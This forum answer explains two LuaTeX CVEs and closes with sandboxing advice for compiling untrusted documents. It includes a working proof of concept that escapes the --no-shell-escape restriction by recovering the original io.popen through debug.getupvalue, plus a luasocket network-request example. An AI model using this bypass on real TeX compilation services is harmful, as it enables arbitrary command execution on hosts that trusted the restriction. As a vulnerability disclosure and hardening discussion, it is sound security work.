Edit (May 2023)
The security of Lua(La)TeX seems to be taken into account in certain
aspects: LuaTeX Security
Vulnerabilities
Ten years after, does my question have an acceptable answer?
I'm the one who wrote that linked article, so let's take a closer look at some of the issues there.
CVE-2023-32700 (the “popen” vulnerability)
This is the main issue discussed in that link. We'll start with a quote from the LuaTeX manual §4.1.3:
The switches --[no-]shell-escape, --[enable|disable]-write18, and --shell-restricted have the same effects as in pdfTeX, and additionally make io.popen(), os.execute, os.exec and os.spawn adhere to the requested option.
And for some further context, §5.5 of the web2c manual:
TeX can execute shell escapes, that is, arbitrary shell commands. Although tremendously useful, this also has obvious security implications. Therefore, as of TeX Live 2009, a restricted mode for shell escapes is the default mode of operation, which allows executing only certain commands, as specified in the texmf.cnf configuration file.
- Unrestricted shell escapes are allowed if the option
--shell-escape is specified, or if the environment variable or config file value shell_escape is set to ‘t’ or ‘y’ and ‘1’.
- Restricted shell escapes are allowed if
shell_escape is set to ‘p’. This is the default.
- Shell escapes are completely disabled if
--no-shell-escape is specified, or if shell_escape is set to anything else.
[...]
The purpose of this feature is to make it possible for TeX documents to perform useful external actions in the common case of an individual user running a known document on his or her own machine. In such environments as CGI scripts or wikis where the input has to be considered untrustworthy, shell escapes should be completely disabled.
And finally, an excerpt from luatex --help:
--[no-]shell-escape disable/enable system commands
--shell-restricted restrict system commands to a list of commands given in texmf.cnf
What should we expect
Based off of the quoted snippets in these manuals, you would expect that compiling a document with something like
$ luatex --no-shell-escape some-document.tex
means that this document cannot execute any shell command at all.
So let's test it:
$ luatex --no-shell-escape '\directlua{print(io.popen("python3 --version"))}\end'
This is LuaTeX, Version 1.17.0 (TeX Live 2023)
nil all command execution is disabled
$ luatex --shell-restricted '\directlua{print(io.popen("python3 --version"))}\end'
This is LuaTeX, Version 1.17.0 (TeX Live 2023)
restricted system commands enabled.
nil specific command execution disabled
$ luatex --shell-escape '\directlua{print(io.popen("python3 --version"):read("a"))}\end'
This is LuaTeX, Version 1.17.0 (TeX Live 2023)
system commands enabled.
Python 3.11.3
This worked exactly as we would expect: only with “unrestricted” shell escape can we run arbitrary commands.
The vulnerability
But if you're particularly clever, you can work around this:
% shell-escape-test.tex
\directlua{
local function get_upvalue(func, name)
local nups = debug.getinfo(func).nups
for i = 1, nups do
local current, value = debug.getupvalue(func, i)
if current == name then
return value
end
end
end
local outer = get_upvalue(io.popen, "popen")
local popen = get_upvalue(outer or io.popen, "io_popen")
print(popen(arg[rawlen(arg)]):read("*a"))
}
\csname@@end\endcsname
\end
$ luatex --no-shell-escape shell-escape-test.tex "python3 --version"
This is LuaTeX, Version 1.16.0 (TeX Live 2023)
restricted system commands enabled.
(./shell-escape-test.texPython 3.11.3
)
warning (pdf backend): no pages of output.
Transcript written on shell-escape-test.log.
So despite what all the documentation said, we can still use shell escape. But what exactly is happening here?
From the link above:
When LuaTeX is started — before it runs any TeX or Lua code — it first
calls the C function load_luatex_core_lua. This function runs the
file luatex-core.lua that is embedded into the LuaTeX binary. Among
other things, this file modifies a few Lua modules, mostly for
backwards compatibility and security purposes.
Here’s an excerpt of the relevant code:
local io_popen = io.popen
-- [...]
local function luatex_io_popen(name,...)
local okay, found = kpse_checkpermission(name)
if okay and found then
return io_popen(found,...)
end
end
-- [...]
io.popen = luatex_io_popen
The above is pretty straightforward: it saves a local copy of the
original io.popen, defines a new wrapper function that checks to see
if the command is allowed with the current shell escape setting, and
sets io.popen to the wrapper function.
The problem here is the local copy. The wrapper function saves a
reference to the original io.popen, and using the Lua standard
library function debug.getupvalue, we can access this internal
reference. Once we’ve extracted the internal io.popen, we can use it
to execute arbitrary processes without restriction, completely
defeating any of the shell escape protections.
CVE-2023-32668 (the “luasocket” vulnerability
Now let's look at the other “vulnerability” in that link. Same as last time, we'll start by quoting the documentation.
From the LuaTeX manual §4.3:
luasocket, by Diego Nehab http://w3.impa.br/~diego/software/luasocket/. The .lua support modules from luasocket are also preloaded inside the executable, there are no external file dependencies.
So, the manual states that luasocket support is included with LuaTeX. As the name suggests, this module lets you make network requests from within LuaTeX.
And the output of luatex --help | grep socket:
--nosocket disable the lua socket library
This doesn't directly state it, but the presence of --nosocket pretty heavily implies that sockets (network access) is enabled by default.
So, all this vulnerability means is that you can make network requests from within a TeX document:
\documentclass{article}
\usepackage{luacode}
\begin{luacode}
local http = require "socket.http"
function get_ip()
body, code, headers = http.request("http://icanhazip.com")
tex.sprint(body)
end
\end{luacode}
\def\getip{\directlua{get_ip()}}
\begin{document}
Your IP address is \getip.
\end{document}
But the documentation has always (for over 10 years now) stated that LuaTeX includes and enables luasocket, so this shouldn't be terribly surprising. This behaviour may be unwanted and potentially dangerous, but I wouldn't quite call it a “vulnerability”.
The original question
So, how does this relate to the original question? Let's look at §4.1.3 of the LuaTeX manual again:
At the moment, --safer [...] makes io.open() fail on files that are opened for anything besides reading.
The manual never says anything directly, but this pretty heavily implies that without --safer, io.open() can open files for writing.
I'm sure that you've already reran the code in your question, so you've probably figured out that it still works. This is quite similar to the luasocket issue though: both features could be potentially dangerous, but to be fair, LuaTeX never claimed to restrict either feature.
Compared to pdfTeX
Also, keep in mind that pdfTeX has had similar vulnerabilities in the past: CVE-2016-10243 affected pdfTeX, and allowed a particularly clever user to run arbitrary shell commands, even with only “restricted” shell escape enabled—just like the recently-patched “popen” vulnerability. In addition, pdfTeX embeds xpdf, which has had quite a few security issues.
Regardless, I'd say that—in general—LuaTeX is less secure than pdfTeX, simply because it gives you so many more ways to interact with the host system. There are certainly some things that could be tightened up, but there's a limit to how much you can do—one of the major reasons to use LuaTeX is because of the better access to the underlying system.
Also, computing has advanced a lot between the release of pdfTeX (in 1996) and now. Back then, containers and virtual machines didn't exist (on x86 at least), so the only way to safely run untrusted documents was to secure the underlying program.
These days, it's quick and easy to spin up an isolated container to compile any untrusted documents:
$ docker run --rm -it -v "$(pwd):/root" registry.gitlab.com/islandoftex/images/texlive:latest-medium lualatex /root/untrusted.tex
Or, if you're on Linux, you can just sandbox your LuaTeX compiler:
$ systemd-run --user \
-p PrivateUsers=true \
-p TemporaryFileSystem=/:ro \
-p PrivateDevices=true \
-p PrivateTmp=true \
-p BindPaths="$(pwd)" \
-p BindReadOnlyPaths='/bin/ /etc/ /lib/ /lib64/ /usr/' \
--working-directory="$(pwd)" \
--wait --collect --pipe \
lualatex untrusted.tex
Either of these are more secure than just running pdfTeX on your host computer since these sandboxes ensure that even a completely malicious LuaTeX binary would have very limited access to your host system.
lualatex --safer --no-shell-escape? The manual hints that otherwise functions such asio.opencan be used as in normal lua. – Alexander Mar 04 '13 at 23:07